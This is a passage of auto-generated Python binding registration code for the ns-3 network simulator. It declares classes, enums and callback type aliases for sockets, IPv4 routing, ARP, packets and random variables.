'NS3_PRIO_INTERACTIVE', 'NS3_PRIO_CONTROL'], outer_class=root_module['ns3::Socket'], import_from_module='ns.network') ## socket.h (module 'network'): ns3::Socket::Ipv6MulticastFilterMode [enumeration] module.add_enum('Ipv6MulticastFilterMode', ['INCLUDE', 'EXCLUDE'], outer_class=root_module['ns3::Socket'], import_from_module='ns.network') ## socket.h (module 'network'): ns3::SocketIpTosTag [class] module.add_class('SocketIpTosTag', import_from_module='ns.network', parent=root_module['ns3::Tag']) ## socket.h (module 'network'): ns3::SocketIpTtlTag [class] module.add_class('SocketIpTtlTag', import_from_module='ns.network', parent=root_module['ns3::Tag']) ## socket.h (module 'network'): ns3::SocketIpv6HopLimitTag [class] module.add_class('SocketIpv6HopLimitTag', import_from_module='ns.network', parent=root_module['ns3::Tag']) ## socket.h (module 'network'): ns3::SocketIpv6TclassTag [class] module.add_class('SocketIpv6TclassTag', import_from_module='ns.network', parent=root_module['ns3::Tag']) ## socket.h (module 'network'): ns3::SocketPriorityTag [class] module.add_class('SocketPriorityTag', import_from_module='ns.network', parent=root_module['ns3::Tag']) ## socket.h (module 'network'): ns3::SocketSetDontFragmentTag [class] module.add_class('SocketSetDontFragmentTag', import_from_module='ns.network', parent=root_module['ns3::Tag']) ## trace-source-accessor.h (module 'core'): ns3::TraceSourceAccessor [class] module.add_class('TraceSourceAccessor', import_from_module='ns.core', parent=root_module['ns3::SimpleRefCount< ns3::TraceSourceAccessor, ns3::empty, ns3::DefaultDeleter<ns3::TraceSourceAccessor> >']) ## trailer.h (module 'network'): ns3::Trailer [class] module.add_class('Trailer', import_from_module='ns.network', parent=root_module['ns3::Chunk']) ## random-variable-stream.h (module 'core'): ns3::TriangularRandomVariable [class] module.add_class('TriangularRandomVariable', import_from_module='ns.core', parent=root_module['ns3::RandomVariableStream']) ## random-variable-stream.h (module 'core'): ns3::UniformRandomVariable [class] module.add_class('UniformRandomVariable', import_from_module='ns.core', parent=root_module['ns3::RandomVariableStream']) ## random-variable-stream.h (module 'core'): ns3::WeibullRandomVariable [class] module.add_class('WeibullRandomVariable', import_from_module='ns.core', parent=root_module['ns3::RandomVariableStream']) ## random-variable-stream.h (module 'core'): ns3::ZetaRandomVariable [class] module.add_class('ZetaRandomVariable', import_from_module='ns.core', parent=root_module['ns3::RandomVariableStream']) ## random-variable-stream.h (module 'core'): ns3::ZipfRandomVariable [class] module.add_class('ZipfRandomVariable', import_from_module='ns.core', parent=root_module['ns3::RandomVariableStream']) ## arp-cache.h (module 'internet'): ns3::ArpCache [class] module.add_class('ArpCache', import_from_module='ns.internet', parent=root_module['ns3::Object']) ## arp-cache.h (module 'internet'): ns3::ArpCache::Entry [class] module.add_class('Entry', import_from_module='ns.internet', outer_class=root_module['ns3::ArpCache']) typehandlers.add_type_alias('std::pair< ns3::Ptr< ns3::Packet >, ns3::Ipv4Header >', 'ns3::ArpCache::Ipv4PayloadHeaderPair') typehandlers.add_type_alias('std::pair< ns3::Ptr< ns3::Packet >, ns3::Ipv4Header >*', 'ns3::ArpCache::Ipv4PayloadHeaderPair*') typehandlers.add_type_alias('std::pair< ns3::Ptr< ns3::Packet >, ns3::Ipv4Header >&', 'ns3::ArpCache::Ipv4PayloadHeaderPair&') ## attribute.h (module 'core'): ns3::AttributeAccessor [class] module.add_class('AttributeAccessor', import_from_module='ns.core', parent=root_module['ns3::SimpleRefCount< ns3::AttributeAccessor, ns3::empty, ns3::DefaultDeleter<ns3::AttributeAccessor> >']) ## attribute.h (module 'core'): ns3::AttributeChecker [class] module.add_class('AttributeChecker', allow_subclassing=False, automatic_type_narrowing=True, import_from_module='ns.core', parent=root_module['ns3::SimpleRefCount< ns3::AttributeChecker, ns3::empty, ns3::DefaultDeleter<ns3::AttributeChecker> >']) ## attribute.h (module 'core'): ns3::AttributeValue [class] module.add_class('AttributeValue', allow_subclassing=False, automatic_type_narrowing=True, import_from_module='ns.core', parent=root_module['ns3::SimpleRefCount< ns3::AttributeValue, ns3::empty, ns3::DefaultDeleter<ns3::AttributeValue> >']) ## callback.h (module 'core'): ns3::CallbackChecker [class] module.add_class('CallbackChecker', import_from_module='ns.core', parent=root_module['ns3::AttributeChecker']) ## callback.h (module 'core'): ns3::CallbackImplBase [class] module.add_class('CallbackImplBase', import_from_module='ns.core', parent=root_module['ns3::SimpleRefCount< ns3::CallbackImplBase, ns3::empty, ns3::DefaultDeleter<ns3::CallbackImplBase> >']) ## callback.h (module 'core'): ns3::CallbackValue [class] module.add_class('CallbackValue', import_from_module='ns.core', parent=root_module['ns3::AttributeValue']) ## random-variable-stream.h (module 'core'): ns3::ConstantRandomVariable [class] module.add_class('ConstantRandomVariable', import_from_module='ns.core', parent=root_module['ns3::RandomVariableStream']) ## random-variable-stream.h (module 'core'): ns3::DeterministicRandomVariable [class] module.add_class('DeterministicRandomVariable', import_from_module='ns.core', parent=root_module['ns3::RandomVariableStream']) ## random-variable-stream.h (module 'core'): ns3::EmpiricalRandomVariable [class] module.add_class('EmpiricalRandomVariable', import_from_module='ns.core', parent=root_module['ns3::RandomVariableStream']) ## attribute.h (module 'core'): ns3::EmptyAttributeAccessor [class] module.add_class('EmptyAttributeAccessor', import_from_module='ns.core', parent=root_module['ns3::AttributeAccessor']) ## attribute.h (module 'core'): ns3::EmptyAttributeChecker [class] module.add_class('EmptyAttributeChecker', import_from_module='ns.core', parent=root_module['ns3::AttributeChecker']) ## attribute.h (module 'core'): ns3::EmptyAttributeValue [class] module.add_class('EmptyAttributeValue', import_from_module='ns.core', parent=root_module['ns3::AttributeValue']) ## enum.h (module 'core'): ns3::EnumChecker [class] module.add_class('EnumChecker', import_from_module='ns.core', parent=root_module['ns3::AttributeChecker']) ## enum.h (module 'core'): ns3::EnumValue [class] module.add_class('EnumValue', import_from_module='ns.core', parent=root_module['ns3::AttributeValue']) ## random-variable-stream.h (module 'core'): ns3::ErlangRandomVariable [class] module.add_class('ErlangRandomVariable', import_from_module='ns.core', parent=root_module['ns3::RandomVariableStream']) ## event-impl.h (module 'core'): ns3::EventImpl [class] module.add_class('EventImpl', import_from_module='ns.core', parent=root_module['ns3::SimpleRefCount< ns3::EventImpl, ns3::empty, ns3::DefaultDeleter<ns3::EventImpl> >']) ## random-variable-stream.h (module 'core'): ns3::ExponentialRandomVariable [class] module.add_class('ExponentialRandomVariable', import_from_module='ns.core', parent=root_module['ns3::RandomVariableStream']) ## random-variable-stream.h (module 'core'): ns3::GammaRandomVariable [class] module.add_class('GammaRandomVariable', import_from_module='ns.core', parent=root_module['ns3::RandomVariableStream']) ## ipv4.h (module 'internet'): ns3::Ipv4 [class] module.add_class('Ipv4', import_from_module='ns.internet', parent=root_module['ns3::Object']) ## ipv4-address.h (module 'network'): ns3::Ipv4AddressChecker [class] module.add_class('Ipv4AddressChecker', import_from_module='ns.network', parent=root_module['ns3::AttributeChecker']) ## ipv4-address.h (module 'network'): ns3::Ipv4AddressValue [class] module.add_class('Ipv4AddressValue', import_from_module='ns.network', parent=root_module['ns3::AttributeValue']) ## ipv4-interface.h (module 'internet'): ns3::Ipv4Interface [class] module.add_class('Ipv4Interface', import_from_module='ns.internet', parent=root_module['ns3::Object']) ## ipv4-l3-protocol.h (module 'internet'): ns3::Ipv4L3Protocol [class] module.add_class('Ipv4L3Protocol', import_from_module='ns.internet', parent=root_module['ns3::Ipv4']) ## ipv4-l3-protocol.h (module 'internet'): ns3::Ipv4L3Protocol::DropReason [enumeration] module.add_enum('DropReason', ['DROP_TTL_EXPIRED', 'DROP_NO_ROUTE', 'DROP_BAD_CHECKSUM', 'DROP_INTERFACE_DOWN', 'DROP_ROUTE_ERROR', 'DROP_FRAGMENT_TIMEOUT', 'DROP_DUPLICATE'], outer_class=root_module['ns3::Ipv4L3Protocol'], import_from_module='ns.internet') typehandlers.add_type_alias('void ( * ) ( ns3::Ipv4Header const &, ns3::Ptr< ns3::Packet const >, uint32_t )', 'ns3::Ipv4L3Protocol::SentTracedCallback') typehandlers.add_type_alias('void ( * ) ( ns3::Ipv4Header const &, ns3::Ptr< ns3::Packet const >, uint32_t )*', 'ns3::Ipv4L3Protocol::SentTracedCallback*') typehandlers.add_type_alias('void ( * ) ( ns3::Ipv4Header const &, ns3::Ptr< ns3::Packet const >, uint32_t )&', 'ns3::Ipv4L3Protocol::SentTracedCallback&') typehandlers.add_type_alias('void ( * ) ( ns3::Ptr< ns3::Packet const >, ns3::Ptr< ns3::Ipv4 >, uint32_t )', 'ns3::Ipv4L3Protocol::TxRxTracedCallback') typehandlers.add_type_alias('void ( * ) ( ns3::Ptr< ns3::Packet const >, ns3::Ptr< ns3::Ipv4 >, uint32_t )*', 'ns3::Ipv4L3Protocol::TxRxTracedCallback*') typehandlers.add_type_alias('void ( * ) ( ns3::Ptr< ns3::Packet const >, ns3::Ptr< ns3::Ipv4 >, uint32_t )&', 'ns3::Ipv4L3Protocol::TxRxTracedCallback&') typehandlers.add_type_alias('void ( * ) ( ns3::Ipv4Header const &, ns3::Ptr< ns3::Packet const >, ns3::Ipv4L3Protocol::DropReason, ns3::Ptr< ns3::Ipv4 >, uint32_t )', 'ns3::Ipv4L3Protocol::DropTracedCallback') typehandlers.add_type_alias('void ( * ) ( ns3::Ipv4Header const &, ns3::Ptr< ns3::Packet const >, ns3::Ipv4L3Protocol::DropReason, ns3::Ptr< ns3::Ipv4 >, uint32_t )*', 'ns3::Ipv4L3Protocol::DropTracedCallback*') typehandlers.add_type_alias('void ( * ) ( ns3::Ipv4Header const &, ns3::Ptr< ns3::Packet const >, ns3::Ipv4L3Protocol::DropReason, ns3::Ptr< ns3::Ipv4 >, uint32_t )&', 'ns3::Ipv4L3Protocol::DropTracedCallback&') ## ipv4-address.h (module 'network'): ns3::Ipv4MaskChecker [class] module.add_class('Ipv4MaskChecker', import_from_module='ns.network', parent=root_module['ns3::AttributeChecker']) ## ipv4-address.h (module 'network'): ns3::Ipv4MaskValue [class] module.add_class('Ipv4MaskValue', import_from_module='ns.network', parent=root_module['ns3::AttributeValue']) ## ipv4-route.h (module 'internet'): ns3::Ipv4MulticastRoute [class] module.add_class('Ipv4MulticastRoute', import_from_module='ns.internet', parent=root_module['ns3::SimpleRefCount< ns3::Ipv4MulticastRoute, ns3::empty, ns3::DefaultDeleter<ns3::Ipv4MulticastRoute> >']) ## ipv4-route.h (module 'internet'): ns3::Ipv4Route [class] module.add_class('Ipv4Route', import_from_module='ns.internet', parent=root_module['ns3::SimpleRefCount< ns3::Ipv4Route, ns3::empty, ns3::DefaultDeleter<ns3::Ipv4Route> >']) ## ipv4-routing-protocol.h (module 'internet'): ns3::Ipv4RoutingProtocol [class] module.add_class('Ipv4RoutingProtocol', import_from_module='ns.internet', parent=root_module['ns3::Object']) typehandlers.add_type_alias('ns3::Callback< void, ns3::Ptr< ns3::Ipv4Route >, ns3::Ptr< ns3::Packet const >, ns3::Ipv4Header const &, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >', 'ns3::Ipv4RoutingProtocol::UnicastForwardCallback') typehandlers.add_type_alias('ns3::Callback< void, ns3::Ptr< ns3::Ipv4Route >, ns3::Ptr< ns3::Packet const >, ns3::Ipv4Header const &, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >*', 'ns3::Ipv4RoutingProtocol::UnicastForwardCallback*') typehandlers.add_type_alias('ns3::Callback< void, ns3::Ptr< ns3::Ipv4Route >, ns3::Ptr< ns3::Packet const >, ns3::Ipv4Header const &, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >&', 'ns3::Ipv4RoutingProtocol::UnicastForwardCallback&') typehandlers.add_type_alias('ns3::Callback< void, ns3::Ptr< ns3::Ipv4MulticastRoute >, ns3::Ptr< ns3::Packet const >, ns3::Ipv4Header const &, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >', 'ns3::Ipv4RoutingProtocol::MulticastForwardCallback') typehandlers.add_type_alias('ns3::Callback< void, ns3::Ptr< ns3::Ipv4MulticastRoute >, ns3::Ptr< ns3::Packet const >, ns3::Ipv4Header const &, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >*', 'ns3::Ipv4RoutingProtocol::MulticastForwardCallback*') typehandlers.add_type_alias('ns3::Callback< void, ns3::Ptr< ns3::Ipv4MulticastRoute >, ns3::Ptr< ns3::Packet const >, ns3::Ipv4Header const &, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >&', 'ns3::Ipv4RoutingProtocol::MulticastForwardCallback&') typehandlers.add_type_alias('ns3::Callback< void, ns3::Ptr< ns3::Packet const >, ns3::Ipv4Header const &, unsigned int, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >', 'ns3::Ipv4RoutingProtocol::LocalDeliverCallback') typehandlers.add_type_alias('ns3::Callback< void, ns3::Ptr< ns3::Packet const >, ns3::Ipv4Header const &, unsigned int, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >*', 'ns3::Ipv4RoutingProtocol::LocalDeliverCallback*') typehandlers.add_type_alias('ns3::Callback< void, ns3::Ptr< ns3::Packet const >, ns3::Ipv4Header const &, unsigned int, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >&', 'ns3::Ipv4RoutingProtocol::LocalDeliverCallback&') typehandlers.add_type_alias('ns3::Callback< void, ns3::Ptr< ns3::Packet const >, ns3::Ipv4Header const &, ns3::Socket::SocketErrno, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >', 'ns3::Ipv4RoutingProtocol::ErrorCallback') typehandlers.add_type_alias('ns3::Callback< void, ns3::Ptr< ns3::Packet const >, ns3::Ipv4Header const &, ns3::Socket::SocketErrno, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >*', 'ns3::Ipv4RoutingProtocol::ErrorCallback*') typehandlers.add_type_alias('ns3::Callback< void, ns3::Ptr< ns3::Packet const >, ns3::Ipv4Header const &, ns3::Socket::SocketErrno, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >&', 'ns3::Ipv4RoutingProtocol::ErrorCallback&') ## ipv6-address.h (module 'network'): ns3::Ipv6AddressChecker [class] module.add_class('Ipv6AddressChecker', import_from_module='ns.network', parent=root_module['ns3::AttributeChecker']) ## ipv6-address.h (module 'network'): ns3::Ipv6AddressValue [class] module.add_class('Ipv6AddressValue', import_from_module='ns.network', parent=root_module['ns3::AttributeValue']) ## ipv6-address.h (module 'network'): ns3::Ipv6PrefixChecker [class] module.add_class('Ipv6PrefixChecker', import_from_module='ns.network', parent=root_module['ns3::AttributeChecker']) ## ipv6-address.h (module 'network'): ns3::Ipv6PrefixValue [class] module.add_class('Ipv6PrefixValue', import_from_module='ns.network', parent=root_module['ns3::AttributeValue']) ## random-variable-stream.h (module 'core'): ns3::LogNormalRandomVariable [class] module.add_class('LogNormalRandomVariable', import_from_module='ns.core', parent=root_module['ns3::RandomVariableStream']) ## mac48-address.h (module 'network'): ns3::Mac48AddressChecker [class] module.add_class('Mac48AddressChecker', import_from_module='ns.network', parent=root_module['ns3::AttributeChecker']) ## mac48-address.h (module 'network'): ns3::Mac48AddressValue [class] module.add_class('Mac48AddressValue', import_from_module='ns.network', parent=root_module['ns3::AttributeValue']) ## net-device.h (module 'network'): ns3::NetDevice [class] module.add_class('NetDevice', import_from_module='ns.network', parent=root_module['ns3::Object']) ## net-device.h (module 'network'): ns3::NetDevice::PacketType [enumeration] module.add_enum('PacketType', ['PACKET_HOST', 'NS3_PACKET_HOST', 'PACKET_BROADCAST', 'NS3_PACKET_BROADCAST', 'PACKET_MULTICAST', 'NS3_PACKET_MULTICAST', 'PACKET_OTHERHOST', 'NS3_PACKET_OTHERHOST'], outer_class=root_module['ns3::NetDevice'], import_from_module='ns.network') typehandlers.add_type_alias('void ( * ) ( )', 'ns3::NetDevice::LinkChangeTracedCallback') typehandlers.add_type_alias('void ( * ) ( )*', 'ns3::NetDevice::LinkChangeTracedCallback*') typehandlers.add_type_alias('void ( * ) ( )&', 'ns3::NetDevice::LinkChangeTracedCallback&') typehandlers.add_type_alias('ns3::Callback< bool, ns3::Ptr< ns3::NetDevice >, ns3::Ptr< ns3::Packet const >, unsigned short, ns3::Address const &, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >', 'ns3::NetDevice::ReceiveCallback') typehandlers.add_type_alias('ns3::Callback< bool, ns3::Ptr< ns3::NetDevice >, ns3::Ptr< ns3::Packet const >, unsigned short, ns3::Address const &, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >*', 'ns3::NetDevice::ReceiveCallback*') typehandlers.add_type_alias('ns3::Callback< bool, ns3::Ptr< ns3::NetDevice >, ns3::Ptr< ns3::Packet const >, unsigned short, ns3::Address const &, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >&', 'ns3::NetDevice::ReceiveCallback&') typehandlers.add_type_alias('ns3::Callback< bool, ns3::Ptr< ns3::NetDevice >, ns3::Ptr< ns3::Packet const >, unsigned short, ns3::Address const &, ns3::Address const &, ns3::NetDevice::PacketType, ns3::empty, ns3::empty, ns3::empty >', 'ns3::NetDevice::PromiscReceiveCallback') typehandlers.add_type_alias('ns3::Callback< bool, ns3::Ptr< ns3::NetDevice >, ns3::Ptr< ns3::Packet const >, unsigned short, ns3::Address const &, ns3::Address const &, ns3::NetDevice::PacketType, ns3::empty, ns3::empty, ns3::empty >*', 'ns3::NetDevice::PromiscReceiveCallback*') typehandlers.add_type_alias('ns3::Callback< bool, ns3::Ptr< ns3::NetDevice >, ns3::Ptr< ns3::Packet const >, unsigned short, ns3::Address const &, ns3::Address const &, ns3::NetDevice::PacketType, ns3::empty, ns3::empty, ns3::empty >&', 'ns3::NetDevice::PromiscReceiveCallback&') ## nix-vector.h (module 'network'): ns3::NixVector [class] module.add_class('NixVector', import_from_module='ns.network', parent=root_module['ns3::SimpleRefCount< ns3::NixVector, ns3::empty, ns3::DefaultDeleter<ns3::NixVector> >']) ## node.h (module 'network'): ns3::Node [class] module.add_class('Node', import_from_module='ns.network', parent=root_module['ns3::Object']) typehandlers.add_type_alias('ns3::Callback< void, ns3::Ptr< ns3::NetDevice >, ns3::Ptr< ns3::Packet const >, unsigned short, ns3::Address const &, ns3::Address const &, ns3::NetDevice::PacketType, ns3::empty, ns3::empty, ns3::empty >', 'ns3::Node::ProtocolHandler') typehandlers.add_type_alias('ns3::Callback< void, ns3::Ptr< ns3::NetDevice >, ns3::Ptr< ns3::Packet const >, unsigned short, ns3::Address const &, ns3::Address const &, ns3::NetDevice::PacketType, ns3::empty, ns3::empty, ns3::empty >*', 'ns3::Node::ProtocolHandler*') typehandlers.add_type_alias('ns3::Callback< void, ns3::Ptr< ns3::NetDevice >, ns3::Ptr< ns3::Packet const >, unsigned short, ns3::Address const &, ns3::Address const &, ns3::NetDevice::PacketType, ns3::empty, ns3::empty, ns3::empty >&', 'ns3::Node::ProtocolHandler&') typehandlers.add_type_alias('ns3::Callback< void, ns3::Ptr< ns3::NetDevice >, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >', 'ns3::Node::DeviceAdditionListener') typehandlers.add_type_alias('ns3::Callback< void, ns3::Ptr< ns3::NetDevice >, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >*', 'ns3::Node::DeviceAdditionListener*') typehandlers.add_type_alias('ns3::Callback< void, ns3::Ptr< ns3::NetDevice >, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >&', 'ns3::Node::DeviceAdditionListener&') ## random-variable-stream.h (module 'core'): ns3::NormalRandomVariable [class] module.add_class('NormalRandomVariable', import_from_module='ns.core', parent=root_module['ns3::RandomVariableStream']) ## object-factory.h (module 'core'): ns3::ObjectFactoryChecker [class] module.add_class('ObjectFactoryChecker', import_from_module='ns.core', parent=root_module['ns3::AttributeChecker']) ## object-factory.h (module 'core'): ns3::ObjectFactoryValue [class] module.add_class('ObjectFactoryValue', import_from_module='ns.core', parent=root_module['ns3::AttributeValue']) ## output-stream-wrapper.h (module 'network'): ns3::OutputStreamWrapper [class] module.add_class('OutputStreamWrapper', import_from_module='ns.network', parent=root_module['ns3::SimpleRefCount< ns3::OutputStreamWrapper, ns3::empty, ns3::DefaultDeleter<ns3::OutputStreamWrapper> >']) ## packet.h (module 'network'): ns3::Packet [class] module.add_class('Packet', import_from_module='ns.network', parent=root_module['ns3::SimpleRefCount< ns3::Packet, ns3::empty, ns3::DefaultDeleter<ns3::Packet> >']) typehandlers.add_type_alias('void ( * ) ( ns3::Ptr< ns3::Packet const > )', 'ns3::Packet::TracedCallback') typehandlers.add_type_alias('void ( * ) ( ns3::Ptr< ns3::Packet const > )*', 'ns3::Packet::TracedCallback*') typehandlers.add_type_alias('void ( * ) ( ns3::Ptr< ns3::Packet const > )&', 'ns3::Packet::TracedCallback&') typehandlers.add_type_alias('void ( * ) ( ns3::Ptr< ns3::Packet const >, ns3::Address const & )', 'ns3::Packet::AddressTracedCallback') typehandlers.add_type_alias('void ( * ) ( ns3::Ptr< ns3::Packet const >, ns3::Address const & )*', 'ns3::Packet::AddressTracedCallback*') typehandlers.add_type_alias('void ( * ) ( ns3::Ptr< ns3::Packet const >, ns3::Address const & )&', 'ns3::Packet::AddressTracedCallback&') typehandlers.add_type_alias('void ( * ) ( ns3::Ptr< ns3::Packet const > const, ns3::Address const &, ns3::Address const & )', 'ns3::Packet::TwoAddressTracedCallback') typehandlers.add_type_alias('void ( * ) ( ns3::Ptr< ns3::Packet const > const, ns3::Address const &, ns3::Address const & )*', 'ns3::Packet::TwoAddressTracedCallback*') typehandlers.add_type_alias('void ( * ) ( ns3::Ptr< ns3::Packet const > const, ns3::Address const &, ns3::Address const & )&', 'ns3::Packet::TwoAddressTracedCallback&') typehandlers.add_type_alias('void ( * ) ( ns3::Ptr< ns3::Packet const >, ns3::Mac48Address )', 'ns3::Packet::Mac48AddressTracedCallback') typehandlers.add_type_alias('void ( * ) ( ns3::Ptr< ns3::Packet const >, ns3::Mac48Address )*', 'ns3::Packet::Mac48AddressTracedCallback*') typehandlers.add_type_alias('void ( * ) ( ns3::Ptr< ns3::Packet const >, ns3::Mac48Address )&', 'ns3::Packet::Mac48AddressTracedCallback&') typehandlers.add_type_alias('void ( * ) ( uint32_t, uint32_t )', 'ns3::Packet::SizeTracedCallback') typehandlers.add_type_alias('void ( * ) ( uint32_t, uint32_t )*', 'ns3::Packet::SizeTracedCallback*') typehandlers.add_type_alias('void ( * ) ( uint32_t, uint32_t )&', 'ns3::Packet::SizeTracedCallback&') typehandlers.add_type_alias('void ( * ) ( ns3::Ptr< ns3::Packet const >, double )', 'ns3::Packet::SinrTracedCallback') typehandlers.add_type_alias('void ( * ) ( ns3::Ptr< ns3::Packet const >, double )*', 'ns3::Packet::SinrTracedCallback*') typehandlers.add_type_alias('void ( * ) ( ns3::Ptr< ns3::Packet const >, double )&', 'ns3::Packet::SinrTracedCallback&') ## random-variable-stream.h (module 'core'): ns3::ParetoRandomVariable [class] module.add_class('ParetoRandomVariable', import_from_module='ns.core', parent=root_module['ns3::RandomVariableStream']) ## nstime.h (module 'core'): ns3::TimeValue [class] module.add_class('TimeValue', import_from_module='ns.core', parent=root_module['ns3::AttributeValue']) ## type-id.h (module 'core'): ns3::TypeIdChecker [class] module.add_class('TypeIdChecker', import_from_module='ns.core', parent=root_module['ns3::AttributeChecker']) ## type-id.h (module 'core'): ns3::TypeIdValue [class] module.add_class('TypeIdValue', import_from_module='ns.core', parent=root_module['ns3::AttributeValue']) ## address.h (module 'network'): ns3::AddressChecker [class] module.add_class('AddressChecker', import_from_module='ns.network', parent=root_module['ns3::AttributeChecker']) ## address.h (module 'network'): ns3::AddressValue [class] module.add_class('AddressValue', import_from_module='ns.network', parent=root_module['ns3::AttributeValue']) ## callback.h (module 'core'): ns3::CallbackImpl<bool, ns3::Ptr<ns3::Socket>, const ns3::Address &, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty> [class] module.add_class('CallbackImpl', import_from_module='ns.core', parent=root_module['ns3::CallbackImplBase'], template_parameters=['bool', 'ns3::Ptr<ns3::Socket>', 'const ns3::Address &', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty']) ## callback.h (module 'core'): ns3::CallbackImpl<ns3::ObjectBase *, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty> [class] module.add_class('CallbackImpl', import_from_module='ns.core', parent=root_module['ns3::CallbackImplBase'], template_parameters=['ns3::ObjectBase *', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty']) ## callback.h (module 'core'): ns3::CallbackImpl<void, const ns3::Ipv4Header &, ns3::Ptr<const ns3::Packet>, ns3::Ipv4L3Protocol::DropReason, ns3::Ptr<ns3::Ipv4>, unsigned int, ns3::empty, ns3::empty, ns3::empty, ns3::empty> [class] module.add_class('CallbackImpl', import_from_module='ns.core', parent=root_module['ns3::CallbackImplBase'], template_parameters=['void', 'const ns3::Ipv4Header &', 'ns3::Ptr<const ns3::Packet>', 'ns3::Ipv4L3Protocol::DropReason', 'ns3::Ptr<ns3::Ipv4>', 'unsigned int', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty']) ## callback.h (module 'core'): ns3::CallbackImpl<void, const ns3::Ipv4Header &, ns3::Ptr<const ns3::Packet>, unsigned int, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty> [class] module.add_class('CallbackImpl', import_from_module='ns.core', parent=root_module['ns3::CallbackImplBase'], template_parameters=['void', 'const ns3::Ipv4Header &', 'ns3::Ptr<const ns3::Packet>', 'unsigned int', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty']) ## callback.h (module 'core'): ns3::CallbackImpl<void, const ns3::WifiMacHeader &, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty> [class] module.add_class('CallbackImpl', import_from_module='ns.core', parent=root_module['ns3::CallbackImplBase'], template_parameters=['void', 'const ns3::WifiMacHeader &', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty']) ## callback.h (module 'core'): ns3::CallbackImpl<void, ns3::Ipv4Address, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty> [class] module.add_class('CallbackImpl', import_from_module='ns.core', parent=root_module['ns3::CallbackImplBase'], template_parameters=['void', 'ns3::Ipv4Address', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty']) ## callback.h (module 'core'): ns3::CallbackImpl<void, ns3::Ptr<const ns3::Packet>, const ns3::Ipv4Header &, ns3::Socket::SocketErrno, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty> [class] module.add_class('CallbackImpl', import_from_module='ns.core', parent=root_module['ns3::CallbackImplBase'], template_parameters=['void', 'ns3::Ptr<const ns3::Packet>', 'const ns3::Ipv4Header &', 'ns3::Socket::SocketErrno', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty']) ## callback.h (module 'core'): ns3::CallbackImpl<void, ns3::Ptr<const ns3::Packet>, ns3::Ptr<ns3::Ipv4>, unsigned int, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty> [class] module.add_class('CallbackImpl', import_from_module='ns.core', parent=root_module['ns3::CallbackImplBase'], template_parameters=['void', 'ns3::Ptr<const ns3::Packet>', 'ns3::Ptr<ns3::Ipv4>', 'unsigned int', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty']) ## callback.h (module 'core'): ns3::CallbackImpl<void, ns3::Ptr<const ns3::Packet>, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty> [class] module.add_class('CallbackImpl', import_from_module='ns.core', parent=root_module['ns3::CallbackImplBase'], template_parameters=['void', 'ns3::Ptr<const ns3::Packet>', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty']) ## callback.h (module 'core'): ns3::CallbackImpl<void, ns3::Ptr<ns3::Ipv4Route>, ns3::Ptr<const ns3::Packet>, const ns3::Ipv4Header &, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty> [class] module.add_class('CallbackImpl', import_from_module='ns.core', parent=root_module['ns3::CallbackImplBase'], template_parameters=['void', 'ns3::Ptr<ns3::Ipv4Route>', 'ns3::Ptr<const ns3::Packet>', 'const ns3::Ipv4Header &', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty']) ## callback.h (module 'core'): ns3::CallbackImpl<void, ns3::Ptr<ns3::NetDevice>, ns3::Ptr<const ns3::Packet>, unsigned short, const ns3::Address &, const ns3::Address &, ns3::NetDevice::PacketType, ns3::empty, ns3::empty, ns3::empty> [class] module.add_class('CallbackImpl', import_from_module='ns.core', 